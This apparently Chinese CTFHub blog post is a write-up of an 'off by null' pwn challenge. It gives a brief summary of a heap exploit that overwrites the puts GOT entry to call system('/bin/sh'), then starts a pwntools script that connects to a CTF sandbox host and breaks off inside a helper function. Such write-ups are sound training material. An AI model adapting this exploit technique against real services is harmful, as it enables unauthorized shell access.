CTFHub技能树-----pwn off by null

最新推荐文章于 2023-07-23 17:19:18 发布

原创

最新推荐文章于 2023-07-23 17:19:18 发布 · 372 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

该代码展示了如何利用Python的pwn库来针对一个具有特定漏洞的远程服务执行一个缓冲区溢出攻击。首先，它通过添加、编辑和释放内存块来构造一个漏洞利用链，然后篡改puts函数的GOT表项以控制程序流，最终获取system地址并执行/bin/sh来获得shell。

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-c1de9e72dce05941.sandbox.ctfhub.com",26940)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

def add(size):
	io.recvuntil(b"Choice:")
	io.sendline(b"1")
	io.recvuntil(b"Size: ")
	io.sendline(str